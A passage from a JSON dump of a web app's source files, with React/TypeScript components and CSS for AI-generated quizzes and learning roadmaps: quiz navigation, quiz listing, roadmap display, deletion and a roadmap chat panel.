    "content": "import {\n  ChevronLeftIcon,\n  ChevronRightIcon,\n  Loader2Icon,\n  type LucideIcon,\n} from 'lucide-react';\nimport { cn } from '../../lib/classname';\n\ntype QuizTopNavigationProps = {\n  activeQuestionIndex: number;\n  totalQuestions: number;\n  progressPercentage: number;\n  onSkip: () => void;\n  onPrevious: () => void;\n  onNext: () => void;\n  isStreaming?: boolean;\n};\n\nexport function QuizTopNavigation(props: QuizTopNavigationProps) {\n  const {\n    activeQuestionIndex,\n    totalQuestions,\n    progressPercentage,\n    onPrevious,\n    onNext,\n    onSkip,\n    isStreaming = false,\n  } = props;\n\n  return (\n    <div className=\"mb-8 space-y-4\">\n      {/* Header with question count and navigation */}\n      <div className=\"flex items-center justify-center lg:justify-between\">\n        <div className=\"flex w-full items-center gap-3\">\n          <NavigationButton\n            disabled={activeQuestionIndex === 0}\n            onClick={onPrevious}\n            icon={ChevronLeftIcon}\n          />\n          <span className=\"text-center text-sm font-medium text-gray-600 max-lg:w-full\">\n            Question{' '}\n            <span className=\"text-black\">{activeQuestionIndex + 1}</span> of{' '}\n            {totalQuestions}\n          </span>\n          <NavigationButton\n            disabled={false}\n            onClick={onSkip}\n            icon={ChevronRightIcon}\n          />\n        </div>\n\n        {!isStreaming && (\n          <div\n            className={cn(\n              'hidden flex-shrink-0 text-sm font-medium text-gray-500 min-lg:flex',\n            )}\n          >\n            {Math.round(progressPercentage)}% complete\n          </div>\n        )}\n        {isStreaming && (\n          <div className=\"text-sm font-medium text-gray-500\">\n            <Loader2Icon className=\"size-4 animate-spin stroke-[2.5]\" />\n          </div>\n        )}\n      </div>\n\n      {/* Enhanced progress bar */}\n      <div className=\"relative h-2 overflow-hidden rounded-full bg-gray-100 shadow-inner\">\n        <div\n          className=\"absolute inset-y-0 left-0 rounded-full bg-black transition-all duration-300 ease-out\"\n          style={{\n            width: `${progressPercentage}%`,\n          }}\n        />\n        {/* Subtle shine effect */}\n        <div\n          className=\"absolute inset-y-0 left-0 rounded-full bg-gradient-to-r from-transparent via-white/20 to-transparent transition-all duration-300 ease-out\"\n          style={{\n            width: `${progressPercentage}%`,\n          }}\n        />\n      </div>\n    </div>\n  );\n}\n\ntype NavigationButtonProps = {\n  disabled: boolean;\n  onClick: () => void;\n  icon: LucideIcon;\n};\n\nfunction NavigationButton(props: NavigationButtonProps) {\n  const { disabled, onClick, icon: Icon } = props;\n  return (\n    <button\n      className=\"flex size-8 items-center justify-center rounded-lg border border-gray-200 bg-white text-gray-400 transition-all duration-150 hover:border-gray-300 hover:text-gray-600 disabled:cursor-not-allowed disabled:opacity-40 disabled:hover:border-gray-200 disabled:hover:text-gray-400 disabled:hover:shadow-sm\"\n      disabled={disabled}\n      onClick={onClick}\n    >\n      <Icon className=\"size-4\" />\n    </button>\n  );\n}\n"
  },
  {
    "path": "src/components/AIQuiz/UserQuizzesList.tsx",
    "content": "import { useQuery } from '@tanstack/react-query';\nimport { BookOpen, Loader2 } from 'lucide-react';\nimport { useEffect, useState } from 'react';\nimport { deleteUrlParam, getUrlParams, setUrlParams } from '../../lib/browser';\nimport { queryClient } from '../../stores/query-client';\nimport { AITutorTallMessage } from '../AITutor/AITutorTallMessage';\nimport { UpgradeAccountModal } from '../Billing/UpgradeAccountModal';\nimport { Pagination } from '../Pagination/Pagination';\nimport { isLoggedIn } from '../../lib/jwt';\nimport { showLoginPopup } from '../../lib/popup';\nimport { AICourseSearch } from '../GenerateCourse/AICourseSearch';\nimport {\n  listUserAiQuizzesOptions,\n  type ListUserAiQuizzesQuery,\n} from '../../queries/ai-quiz';\nimport { AIQuizCard } from './AIQuizCard';\nimport { aiLimitOptions } from '../../queries/ai-course';\nimport { useIsPaidUser } from '../../queries/billing';\nimport { AIUsageWarning } from '../AIUsageWarning/AIUsageWarning';\n\nexport function UserQuizzesList() {\n  const [isInitialLoading, setIsInitialLoading] = useState(true);\n  const [showUpgradePopup, setShowUpgradePopup] = useState(false);\n\n  const [pageState, setPageState] = useState<ListUserAiQuizzesQuery>({\n    perPage: '21',\n    currPage: '1',\n    query: '',\n  });\n\n  const { isPaidUser, isLoading: isPaidUserLoading } = useIsPaidUser();\n  const { data: limits, isLoading: isLimitLoading } = useQuery(\n    aiLimitOptions(),\n    queryClient,\n  );\n\n  const selectedLimit = limits?.quiz;\n\n  const { data: userAiQuizzes, isFetching: isUserAiQuizzesLoading } = useQuery(\n    listUserAiQuizzesOptions(pageState),\n    queryClient,\n  );\n\n  useEffect(() => {\n    setIsInitialLoading(false);\n  }, [userAiQuizzes]);\n\n  const quizzes = userAiQuizzes?.data ?? [];\n\n  useEffect(() => {\n    const queryParams = getUrlParams();\n\n    setPageState({\n      ...pageState,\n      currPage: queryParams?.p || '1',\n      query: queryParams?.q || '',\n    });\n  }, []);\n\n  useEffect(() => {\n    if (pageState?.currPage !== '1' || pageState?.query !== '') {\n      setUrlParams({\n        p: pageState?.currPage || '1',\n        q: pageState?.query || '',\n      });\n    } else {\n      deleteUrlParam('p');\n      deleteUrlParam('q');\n    }\n  }, [pageState]);\n\n  const isUserAuthenticated = isLoggedIn();\n  const isAnyLoading =\n    isUserAiQuizzesLoading ||\n    isInitialLoading ||\n    isPaidUserLoading ||\n    isLimitLoading;\n\n  return (\n    <>\n      {showUpgradePopup && (\n        <UpgradeAccountModal onClose={() => setShowUpgradePopup(false)} />\n      )}\n\n      <AICourseSearch\n        value={pageState?.query || ''}\n        onChange={(value) => {\n          setPageState({\n            ...pageState,\n            query: value,\n            currPage: '1',\n          });\n        }}\n        placeholder=\"Search Quizzes...\"\n        disabled={isAnyLoading}\n      />\n\n      {isAnyLoading && (\n        <p className=\"mb-4 flex flex-row items-center gap-2 text-sm text-gray-500\">\n          <Loader2 className=\"h-4 w-4 animate-spin\" />\n          Loading your quizzes...\n        </p>\n      )}\n\n      {!isAnyLoading && (\n        <>\n          <AIUsageWarning\n            type=\"quiz\"\n            totalCount={userAiQuizzes?.totalCount}\n            isPaidUser={isPaidUser}\n            usedCount={selectedLimit?.used}\n            limitCount={selectedLimit?.limit}\n            onUpgrade={() => setShowUpgradePopup(true)}\n          />\n\n          {isUserAuthenticated && !isAnyLoading && quizzes.length > 0 && (\n            <div className=\"flex flex-col gap-2\">\n              <div className=\"grid grid-cols-1 gap-2 md:grid-cols-2 xl:grid-cols-3\">\n                {quizzes.map((quiz) => (\n                  <AIQuizCard variant=\"column\" key={quiz._id} quiz={quiz} />\n                ))}\n              </div>\n\n              <Pagination\n                totalCount={userAiQuizzes?.totalCount || 0}\n                totalPages={userAiQuizzes?.totalPages || 0}\n                currPage={Number(userAiQuizzes?.currPage || 1)}\n                perPage={Number(userAiQuizzes?.perPage || 10)}\n                onPageChange={(page) => {\n                  setPageState({ ...pageState, currPage: String(page) });\n                }}\n                className=\"rounded-lg border border-gray-200 bg-white p-4\"\n              />\n            </div>\n          )}\n\n          {!isAnyLoading && quizzes.length === 0 && (\n            <AITutorTallMessage\n              title={\n                isUserAuthenticated ? 'No quizzes found' : 'Sign up or login'\n              }\n              subtitle={\n                isUserAuthenticated\n                  ? \"You haven't generated any quizzes yet.\"\n                  : 'Takes 2s to sign up and generate your first quiz.'\n              }\n              icon={BookOpen}\n              buttonText={\n                isUserAuthenticated\n                  ? 'Create your first quiz'\n                  : 'Sign up or login'\n              }\n              onButtonClick={() => {\n                if (isUserAuthenticated) {\n                  window.location.href = '/ai/quiz';\n                } else {\n                  showLoginPopup();\n                }\n              }}\n            />\n          )}\n        </>\n      )}\n    </>\n  );\n}\n"
  },
  {
    "path": "src/components/AIRoadmap/AIRoadmap.css",
    "content": "@font-face {\n  font-family: 'balsamiq';\n  src: url('/fonts/balsamiq.woff2');\n}\n\nsvg text tspan {\n  -webkit-font-smoothing: antialiased;\n  -moz-osx-font-smoothing: grayscale;\n  text-rendering: optimizeSpeed;\n}\n\nsvg > g[data-type='topic'],\nsvg > g[data-type='subtopic'],\nsvg > g > g[data-type='link-item'],\nsvg > g[data-type='button'] {\n  cursor: pointer;\n}\n\nsvg > g[data-type='topic']:hover > rect {\n  fill: #d6d700;\n}\n\nsvg > g[data-type='subtopic']:hover > rect {\n  fill: #f3c950;\n}\nsvg > g[data-type='button']:hover {\n  opacity: 0.8;\n}\n\nsvg .done rect {\n  fill: #cbcbcb !important;\n}\n\nsvg .done text,\nsvg .skipped text {\n  text-decoration: line-through;\n}\n\nsvg > g[data-type='topic'].learning > rect + text,\nsvg > g[data-type='topic'].done > rect + text {\n  fill: black;\n}\n\nsvg > g[data-type='subtipic'].done > rect + text,\nsvg > g[data-type='subtipic'].learning > rect + text {\n  fill: #cbcbcb;\n}\n\nsvg .learning rect {\n  fill: #dad1fd !important;\n}\nsvg .learning text {\n  text-decoration: underline;\n}\n\nsvg .skipped rect {\n  fill: #496b69 !important;\n}\n"
  },
  {
    "path": "src/components/AIRoadmap/AIRoadmap.tsx",
    "content": "import './AIRoadmap.css';\n\nimport { useQuery } from '@tanstack/react-query';\nimport { useCallback, useRef, useState } from 'react';\nimport { flushSync } from 'react-dom';\nimport { useToast } from '../../hooks/use-toast';\nimport { queryClient } from '../../stores/query-client';\nimport { AITutorLayout } from '../AITutor/AITutorLayout';\nimport { UpgradeAccountModal } from '../Billing/UpgradeAccountModal';\nimport { aiRoadmapOptions, generateAIRoadmap } from '../../queries/ai-roadmap';\nimport { GenerateAIRoadmap } from './GenerateAIRoadmap';\nimport { AIRoadmapContent, type RoadmapNodeDetails } from './AIRoadmapContent';\nimport { AIRoadmapChat } from './AIRoadmapChat';\nimport { AlertCircleIcon } from 'lucide-react';\nimport { isLoggedIn } from '../../lib/jwt';\nimport { showLoginPopup } from '../../lib/popup';\nimport { aiLimitOptions } from '../../queries/ai-course';\nimport { billingDetailsOptions } from '../../queries/billing';\n\nexport type AIRoadmapChatActions = {\n  handleNodeClick: (node: RoadmapNodeDetails) => void;\n};\n\ntype AIRoadmapProps = {\n  roadmapSlug?: string;\n};\n\nexport function AIRoadmap(props: AIRoadmapProps) {\n  const { roadmapSlug: defaultRoadmapSlug } = props;\n  const [roadmapSlug, setRoadmapSlug] = useState(defaultRoadmapSlug);\n\n  const toast = useToast();\n  const [showUpgradeModal, setShowUpgradeModal] = useState(false);\n  const [isRegenerating, setIsRegenerating] = useState(false);\n  const [regeneratedSvgHtml, setRegeneratedSvgHtml] = useState<string | null>(\n    null,\n  );\n\n  const aiChatActionsRef = useRef<AIRoadmapChatActions | null>(null);\n\n  // only fetch the guide if the guideSlug is provided\n  // otherwise we are still generating the guide\n  const {\n    data: aiRoadmap,\n    isLoading: isLoadingBySlug,\n    error: aiRoadmapError,\n  } = useQuery(aiRoadmapOptions(roadmapSlug), queryClient);\n\n  const {\n    data: tokenUsage,\n    isLoading: isTokenUsageLoading,\n    refetch: refetchTokenUsage,\n  } = useQuery(aiLimitOptions(), queryClient);\n\n  const { data: userBillingDetails, isLoading: isBillingDetailsLoading } =\n    useQuery(billingDetailsOptions(), queryClient);\n\n  const isLimitExceeded = (tokenUsage?.used || 0) >= (tokenUsage?.limit || 0);\n  const isPaidUser = userBillingDetails?.status === 'active';\n\n  const handleRegenerate = async (prompt?: string) => {\n    if (!isLoggedIn()) {\n      showLoginPopup();\n      return;\n    }\n\n    if (!isPaidUser && isLimitExceeded) {\n      setShowUpgradeModal(true);\n      return;\n    }\n\n    flushSync(() => {\n      setIsRegenerating(true);\n      setRegeneratedSvgHtml(null);\n    });\n\n    queryClient.cancelQueries(aiRoadmapOptions(roadmapSlug));\n    queryClient.setQueryData(aiRoadmapOptions(roadmapSlug).queryKey, (old) => {\n      if (!old) {\n        return old;\n      }\n\n      return {\n        ...old,\n        data: '',\n        svgHtml: '',\n      };\n    });\n\n    setRegeneratedSvgHtml('');\n    await generateAIRoadmap({\n      roadmapSlug: aiRoadmap?.slug || '',\n      term: aiRoadmap?.term || '',\n      prompt,\n      isForce: true,\n      onStreamingChange: setIsRegenerating,\n      onRoadmapSvgChange: (svg) => {\n        setRegeneratedSvgHtml(svg.outerHTML);\n      },\n      onError: (error) => {\n        toast.error(error);\n      },\n      onFinish: () => {\n        setIsRegenerating(false);\n        refetchTokenUsage();\n        queryClient.invalidateQueries(aiRoadmapOptions(roadmapSlug));\n      },\n    });\n  };\n\n  const isLoading =\n    isLoadingBySlug ||\n    isRegenerating ||\n    isTokenUsageLoading ||\n    isBillingDetailsLoading;\n\n  const handleNodeClick = useCallback(\n    (node: RoadmapNodeDetails) => {\n      aiChatActionsRef.current?.handleNodeClick(node);\n    },\n    [aiChatActionsRef],\n  );\n\n  return (\n    <AITutorLayout\n      wrapperClassName=\"flex-row p-0 lg:p-0 overflow-hidden relative bg-white\"\n      containerClassName=\"h-[calc(100vh-49px)] overflow-hidden relative\"\n    >\n      {showUpgradeModal && (\n        <UpgradeAccountModal onClose={() => setShowUpgradeModal(false)} />\n      )}\n\n      {!isLoading && aiRoadmapError && (\n        <div className=\"absolute inset-0 z-10 flex h-full flex-col items-center justify-center bg-white\">\n          <div className=\"flex flex-col items-center justify-center gap-2\">\n            <AlertCircleIcon className=\"size-10 text-gray-500\" />\n            <p className=\"text-center\">\n              {aiRoadmapError?.message || 'Something went wrong'}\n            </p>\n          </div>\n        </div>\n      )}\n\n      <div className=\"grow overflow-y-auto p-4 pt-0\">\n        {roadmapSlug && !aiRoadmapError && (\n          <AIRoadmapContent\n            svgHtml={regeneratedSvgHtml ?? aiRoadmap?.svgHtml ?? ''}\n            isLoading={isLoading}\n            onRegenerate={handleRegenerate}\n            roadmapSlug={roadmapSlug}\n            onNodeClick={handleNodeClick}\n          />\n        )}\n        {!roadmapSlug && !aiRoadmapError && (\n          <GenerateAIRoadmap onRoadmapSlugChange={setRoadmapSlug} />\n        )}\n      </div>\n\n      <AIRoadmapChat\n        roadmapSlug={roadmapSlug}\n        isRoadmapLoading={!aiRoadmap}\n        onUpgrade={() => setShowUpgradeModal(true)}\n        aiChatActionsRef={aiChatActionsRef}\n      />\n    </AITutorLayout>\n  );\n}\n"
  },
  {
    "path": "src/components/AIRoadmap/AIRoadmapActions.tsx",
    "content": "import { MoreVertical, Play, Trash2 } from 'lucide-react';\nimport { useRef, useState } from 'react';\nimport { useOutsideClick } from '../../hooks/use-outside-click';\nimport { useKeydown } from '../../hooks/use-keydown';\nimport { useToast } from '../../hooks/use-toast';\nimport { useMutation } from '@tanstack/react-query';\nimport { queryClient } from '../../stores/query-client';\nimport { httpDelete } from '../../lib/query-http';\n\ntype AIRoadmapActionsType = {\n  roadmapSlug: string;\n  onDeleted?: () => void;\n};\n\nexport function AIRoadmapActions(props: AIRoadmapActionsType) {\n  const { roadmapSlug, onDeleted } = props;\n\n  const toast = useToast();\n  const dropdownRef = useRef<HTMLDivElement>(null);\n\n  const [isOpen, setIsOpen] = useState(false);\n  const [isConfirming, setIsConfirming] = useState(false);\n\n  const { mutate: deleteRoadmap, isPending: isDeleting } = useMutation(\n    {\n      mutationFn: async () => {\n        return httpDelete(`/v1-delete-ai-roadmap/${roadmapSlug}`);\n      },\n      onSuccess: () => {\n        toast.success('Roadmap deleted');\n        queryClient.invalidateQueries({\n          predicate: (query) => query.queryKey?.[0] === 'user-ai-roadmaps',\n        });\n        onDeleted?.();\n      },\n      onError: (error) => {\n        toast.error(error?.message || 'Failed to delete roadmap');\n      },\n    },\n    queryClient,\n  );\n\n  useOutsideClick(dropdownRef, () => {\n    setIsOpen(false);\n  });\n\n  useKeydown('Escape', () => {\n    setIsOpen(false);\n  });\n\n  return (\n    <div className=\"relative h-full\" ref={dropdownRef}>\n      <button\n        className=\"h-full text-gray-400 hover:text-gray-700\"\n        onClick={(e) => {\n          e.stopPropagation();\n          setIsOpen(!isOpen);\n        }}\n      >\n        <MoreVertical size={16} />\n      </button>\n\n      {isOpen && (\n        <div className=\"absolute top-8 right-0 z-10 w-48 overflow-hidden rounded-md border border-gray-200 bg-white shadow-lg\">\n          <a\n            href={`/ai-roadmaps/${roadmapSlug}`}\n            className=\"flex w-full items-center gap-1.5 p-2 text-sm font-medium text-gray-500 hover:bg-gray-100 hover:text-black disabled:cursor-not-allowed disabled:opacity-70\"\n          >\n            <Play className=\"h-3.5 w-3.5\" />\n            Visit Roadmap\n          </a>\n          {!isConfirming && (\n            <button\n              className=\"flex w-full items-center gap-1.5 p-2 text-sm font-medium text-gray-500 hover:bg-gray-100 hover:text-black disabled:cursor-not-allowed disabled:opacity-70\"\n              onClick={() => setIsConfirming(true)}\n              disabled={isDeleting}\n            >\n              {!isDeleting ? (\n                <>\n                  <Trash2 className=\"h-3.5 w-3.5\" />\n                  Delete Roadmap\n                </>\n              ) : (\n                'Deleting...'\n              )}\n            </button>\n          )}\n\n          {isConfirming && (\n            <span className=\"flex w-full items-center justify-between gap-1.5 p-2 text-sm font-medium text-gray-500 hover:bg-gray-100 hover:text-black disabled:cursor-not-allowed disabled:opacity-70\">\n              Are you sure?\n              <div className=\"flex items-center gap-2\">\n                <button\n                  onClick={() => {\n                    setIsConfirming(false);\n                    deleteRoadmap();\n                  }}\n                  disabled={isDeleting}\n                  className=\"text-red-500 underline hover:text-red-800\"\n                >\n                  Yes\n                </button>\n                <button\n                  onClick={() => setIsConfirming(false)}\n                  className=\"text-red-500 underline hover:text-red-800\"\n                >\n                  No\n                </button>\n              </div>\n            </span>\n          )}\n        </div>\n      )}\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/AIRoadmap/AIRoadmapCard.tsx",
    "content": "import { CalendarIcon } from 'lucide-react';\nimport { getRelativeTimeString } from '../../lib/date';\nimport { cn } from '../../lib/classname';\nimport type { AIRoadmapDocument } from '../../queries/ai-roadmap';\nimport { AIRoadmapActions } from './AIRoadmapActions';\n\ntype AIRoadmapCardProps = {\n  roadmap: Omit<AIRoadmapDocument, 'data' | 'questionAndAnswers'>;\n  variant?: 'row' | 'column';\n  showActions?: boolean;\n};\n\nexport function AIRoadmapCard(props: AIRoadmapCardProps) {\n  const { roadmap, variant = 'row', showActions = true } = props;\n\n  const updatedAgo = getRelativeTimeString(roadmap?.updatedAt);\n\n  return (\n    <div className=\"relative flex flex-grow\">\n      <a\n        href={`/ai-roadmaps/${roadmap.slug}`}\n        className={cn(\n          'group relative flex h-full w-full gap-3 overflow-hidden rounded-lg border border-gray-200 bg-white p-4 text-left transition-all hover:border-gray-300 hover:bg-gray-50 sm:gap-4',\n          variant === 'column' && 'flex-col',\n          variant === 'row' && 'sm:flex-col sm:items-start',\n        )}\n      >\n        <div className=\"min-w-0 flex-1\">\n          <h3 className=\"line-clamp-2 text-base font-semibold text-balance text-gray-900\">\n            {roadmap.title}\n          </h3>\n        </div>\n\n        <div className=\"flex items-center gap-4 sm:gap-4\">\n          <div className=\"items-center text-xs text-gray-600 flex\">\n            <CalendarIcon className=\"mr-1 h-3.5 w-3.5\" />\n            <span>{updatedAgo}</span>\n          </div>\n        </div>\n      </a>\n\n      {showActions && roadmap.slug && (\n        <div className=\"absolute top-2 right-2\">\n          <AIRoadmapActions roadmapSlug={roadmap.slug} />\n        </div>\n      )}\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/AIRoadmap/AIRoadmapChat.tsx",
    "content": "import {\n  useCallback,\n  useEffect,\n  useImperativeHandle,\n  useLayoutEffect,\n  useRef,\n  useState,\n  type RefObject,\n} from 'react';\nimport { useChat, type ChatMessage } from '../../hooks/use-chat';\nimport { RoadmapAIChatCard } from '../RoadmapAIChat/RoadmapAIChatCard';\nimport {\n  ArrowDownIcon,\n  BotIcon,\n  LockIcon,\n  MessageCircleIcon,\n  PauseCircleIcon,\n  SendIcon,\n  Trash2Icon,\n  XIcon,\n} from 'lucide-react';\nimport { ChatHeaderButton } from '../FrameRenderer/RoadmapFloatingChat';\nimport { isLoggedIn } from '../../lib/jwt';\nimport { showLoginPopup } from '../../lib/popup';\nimport { flushSync } from 'react-dom';\nimport { markdownToHtml } from '../../lib/markdown';\nimport { aiLimitOptions } from '../../queries/ai-course';\nimport { useQuery } from '@tanstack/react-query';\nimport { queryClient } from '../../stores/query-client';\nimport { billingDetailsOptions } from '../../queries/billing';\nimport { LoadingChip } from '../LoadingChip';\nimport { getTailwindScreenDimension } from '../../lib/is-mobile';\nimport { useToast } from '../../hooks/use-toast';\nimport type { AIRoadmapChatActions } from './AIRoadmap';\nimport type { RoadmapNodeDetails } from './AIRoadmapContent';\n\ntype AIRoadmapChatProps = {\n  roadmapSlug?: string;\n  isRoadmapLoading?: boolean;\n  onUpgrade?: () => void;\n  aiChatActionsRef?: RefObject<AIRoadmapChatActions | null>;\n};\n\nexport function AIRoadmapChat(props: AIRoadmapChatProps) {\n  const { roadmapSlug, isRoadmapLoading, onUpgrade, aiChatActionsRef } = props;\n\n  const toast = useToast();\n  const scrollareaRef = useRef<HTMLDivElement>(null);\n  const inputRef = useRef<HTMLInputElement>(null);\n\n  const [inputValue, setInputValue] = useState('');\n  const [showScrollToBottom, setShowScrollToBottom] = useState(false);\n  const [isChatOpen, setIsChatOpen] = useState(true);\n  const [isMobile, setIsMobile] = useState(false);\n\n  const {\n    data: tokenUsage,\n    isLoading: isTokenUsageLoading,\n    refetch: refetchTokenUsage,\n  } = useQuery(aiLimitOptions(), queryClient);\n\n  const { data: userBillingDetails, isLoading: isBillingDetailsLoading } =\n    useQuery(billingDetailsOptions(), queryClient);\n\n  const isLimitExceeded = (tokenUsage?.used || 0) >= (tokenUsage?.limit || 0);\n  const isPaidUser = userBillingDetails?.status === 'active';\n\n  const {\n    messages,\n    status,\n    streamedMessageHtml,\n    sendMessages,\n    setMessages,\n    stop,\n  } = useChat({\n    endpoint: `${import.meta.env.PUBLIC_API_URL}/v1-ai-roadmap-chat`,\n    onError: (error) => {\n      console.error(error);\n      toast.error(error?.message || 'Something went wrong');\n    },\n    data: {\n      aiRoadmapSlug: roadmapSlug,\n    },\n    onFinish: () => {\n      refetchTokenUsage();\n    },\n  });\n\n  const scrollToBottom = useCallback(\n    (behavior: 'smooth' | 'instant' = 'smooth') => {\n      scrollareaRef.current?.scrollTo({\n        top: scrollareaRef.current.scrollHeight,\n        behavior,\n      });\n    },\n    [scrollareaRef],\n  );\n\n  const isStreamingMessage = status === 'streaming';\n  const hasMessages = messages.length > 0;\n\n  const handleSubmitInput = useCallback(\n    (defaultInputValue?: string) => {\n      const message = defaultInputValue || inputValue;\n      if (!isLoggedIn()) {\n        showLoginPopup();\n        return;\n      }\n\n      if (isStreamingMessage) {\n        return;\n      }\n\n      const newMessages: ChatMessage[] = [\n        ...messages,\n        {\n          role: 'user',\n          content: message,\n          html: markdownToHtml(message),\n        },\n      ];\n      flushSync(() => {\n        setMessages(newMessages);\n      });\n      sendMessages(newMessages);\n      setInputValue('');\n\n      setTimeout(() => {\n        scrollToBottom('smooth');\n      }, 0);\n    },\n    [inputValue, isStreamingMessage, messages, sendMessages, setMessages],\n  );\n\n  const checkScrollPosition = useCallback(() => {\n    const scrollArea = scrollareaRef.current;\n    if (!scrollArea) {\n      return;\n    }\n\n    const { scrollTop, scrollHeight, clientHeight } = scrollArea;\n    const isAtBottom = scrollTop + clientHeight >= scrollHeight - 50; // 50px threshold\n    setShowScrollToBottom(!isAtBottom && messages.length > 0);\n  }, [messages.length]);\n\n  useEffect(() => {\n    const scrollArea = scrollareaRef.current;\n    if (!scrollArea) {\n      return;\n    }\n\n    scrollArea.addEventListener('scroll', checkScrollPosition);\n    return () => scrollArea.removeEventListener('scroll', checkScrollPosition);\n  }, [checkScrollPosition]);\n\n  const isLoading =\n    isRoadmapLoading || isTokenUsageLoading || isBillingDetailsLoading;\n\n  useLayoutEffect(() => {\n    const deviceType = getTailwindScreenDimension();\n    const isMediumSize = ['sm', 'md'].includes(deviceType);\n\n    if (!isMediumSize) {\n      const storedState = localStorage.getItem('chat-history-sidebar-open');\n      setIsChatOpen(storedState === null ? true : storedState === 'true');\n    } else {\n      setIsChatOpen(!isMediumSize);\n    }\n\n    setIsMobile(isMediumSize);\n  }, []);\n\n  useEffect(() => {\n    if (!isMobile) {\n      localStorage.setItem('chat-history-sidebar-open', isChatOpen.toString());\n    }\n  }, [isChatOpen, isMobile]);\n\n  useImperativeHandle(aiChatActionsRef, () => ({\n    handleNodeClick: (node: RoadmapNodeDetails) => {\n      handleSubmitInput(`Explain what is \"${node.nodeTitle}\" topic in detail.`);\n    },\n  }));\n\n  if (!isChatOpen) {\n    return (\n      <div className=\"absolute inset-x-0 bottom-0 flex justify-center p-2\">\n        <button\n          className=\"flex items-center justify-center gap-2 rounded-full bg-black px-4 py-2 text-white shadow\"\n          onClick={() => {\n            setIsChatOpen(true);\n          }}\n        >\n          <MessageCircleIcon className=\"h-4 w-4\" />\n          <span className=\"text-sm\">Open Chat</span>\n        </button>\n      </div>\n    );\n  }\n\n  return (\n    <div className=\"absolute inset-0 flex h-full w-full max-w-full flex-col overflow-hidden border-l border-gray-200 bg-white md:relative md:max-w-[40%]\">\n      <div className=\"flex items-center justify-between gap-2 border-b border-gray-200 bg-white p-2\">\n        <h2 className=\"flex items-center gap-2 text-sm font-medium\">\n          <BotIcon className=\"h-4 w-4\" />\n          AI Roadmap\n        </h2>\n\n        <button\n          className=\"mr-2 flex size-5 items-center justify-center rounded-md text-gray-500 hover:bg-gray-300 md:hidden\"\n          onClick={() => {\n            setIsChatOpen(false);\n          }}\n        >\n          <XIcon className=\"h-3.5 w-3.5\" />\n        </button>\n      </div>\n\n      {isLoading && (\n        <div className=\"absolute inset-0 flex items-center justify-center bg-gray-100\">\n          <LoadingChip message=\"Loading...\" />\n        </div>\n      )}\n\n      {!isLoading && (\n        <>\n          <div className=\"relative grow overflow-y-auto\" ref={scrollareaRef}>\n            <div className=\"absolute inset-0 flex flex-col\">\n              <div className=\"relative flex grow flex-col justify-end\">\n                <div className=\"flex flex-col justify-end gap-2 px-3 py-2\">\n                  <RoadmapAIChatCard\n                    role=\"assistant\"\n                    html=\"Hello, how can I help you today?\"\n                    isIntro\n                  />\n\n                  {messages.map((chat, index) => {\n                    return (\n                      <RoadmapAIChatCard key={`chat-${index}`} {...chat} />\n                    );\n                  })}\n\n                  {status === 'streaming' && !streamedMessageHtml && (\n                    <RoadmapAIChatCard role=\"assistant\" html=\"Thinking...\" />\n                  )}\n\n                  {status === 'streaming' && streamedMessageHtml && (\n                    <RoadmapAIChatCard\n                      role=\"assistant\"\n                      html={streamedMessageHtml}\n                    />\n                  )}\n                </div>\n              </div>\n            </div>\n          </div>\n\n          {(hasMessages || showScrollToBottom) && (\n            <div className=\"flex flex-row justify-between gap-2 border-t border-gray-200 px-3 py-2\">\n              <ChatHeaderButton\n                icon={<Trash2Icon className=\"h-3.5 w-3.5\" />}\n                className=\"rounded-md bg-gray-200 py-1 pr-2 pl-1.5 text-gray-500 hover:bg-gray-300\"\n                onClick={() => {\n                  setMessages([]);\n                }}\n              >\n                Clear\n              </ChatHeaderButton>\n              {showScrollToBottom && (\n                <ChatHeaderButton\n                  icon={<ArrowDownIcon className=\"h-3.5 w-3.5\" />}\n                  className=\"rounded-md bg-gray-200 py-1 pr-2 pl-1.5 text-gray-500 hover:bg-gray-300\"\n                  onClick={() => {\n                    scrollToBottom('smooth');\n                  }}\n                >\n                  Scroll to bottom\n                </ChatHeaderButton>\n              )}\n            </div>\n          )}\n\n          <div className=\"relative flex items-center border-t border-gray-200 text-sm\">\n            {isLimitExceeded && isLoggedIn() && (\n              <div className=\"absolute inset-0 z-10 flex items-center justify-center gap-2 bg-black text-white\">\n                <LockIcon\n                  className=\"size-4 cursor-not-allowed\"\n                  strokeWidth={2.5}\n                />\n                <p className=\"cursor-not-allowed\">\n                  Limit reached for today\n                  {isPaidUser ? '. Please wait until tomorrow.' : ''}\n                </p>\n                {!isPaidUser && (\n                  <button\n                    onClick={() => {\n                      onUpgrade?.();\n                    }}\n                    className=\"rounded-md bg-white px-2 py-1 text-xs font-medium text-black hover:bg-gray-300\"\n                  >\n                    Upgrade for more\n                  </button>\n                )}\n              </div>\n            )}\n\n            {!isLoggedIn() && (\n              <div className=\"absolute inset-0 z-10 flex items-center justify-center gap-2 bg-black text-white\">\n                <LockIcon\n                  className=\"size-4 cursor-not-allowed\"\n                  strokeWidth={2.5}\n                />\n                <p className=\"cursor-not-allowed\">Please login to continue</p>\n                <button\n                  onClick={() => {\n                    showLoginPopup();\n                  }}\n                  className=\"rounded-md bg-white px-2 py-1 text-xs font-medium text-black hover:bg-gray-300\"\n                >\n                  Login / Register\n                </button>\n              </div>\n            )}\n\n            <input\n              ref={inputRef}\n              type=\"text\"\n              value={inputValue}\n              onChange={(e) => setInputValue(e.target.value)}\n              autoFocus\n              data-clarity-unmask=\"true\"\n              onKeyDown={(e) => {\n                if (e.key === 'Enter') {\n                  e.preventDefault();\n                  if (isStreamingMessage) {\n                    return;\n                  }\n                  handleSubmitInput();\n                }\n              }}\n              placeholder=\"Ask me anything about this roadmap...\"\n              className=\"w-full resize-none px-3 py-4 outline-none\"\n            />\n\n            <button\n              className=\"absolute top-1/2 right-2 -translate-y-1/2 p-1 text-zinc-500 hover:text-black disabled:opacity-50\"\n              onClick={() => {\n                if (!isLoggedIn()) {\n                  showLoginPopup();\n                  return;\n                }\n\n                if (status !== 'idle') {\n                  stop();\n                  return;\n                }\n\n                handleSubmitInput();\n              }}\n            >\n              {isStreamingMessage ? (\n                <PauseCircleIcon className=\"h-4 w-4\" />\n              ) : (\n                <SendIcon className=\"h-4 w-4\" />\n              )}\n            </button>\n          </div>\n        </>\n      )}\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/AIRoadmap/AIRoadmapContent.tsx",
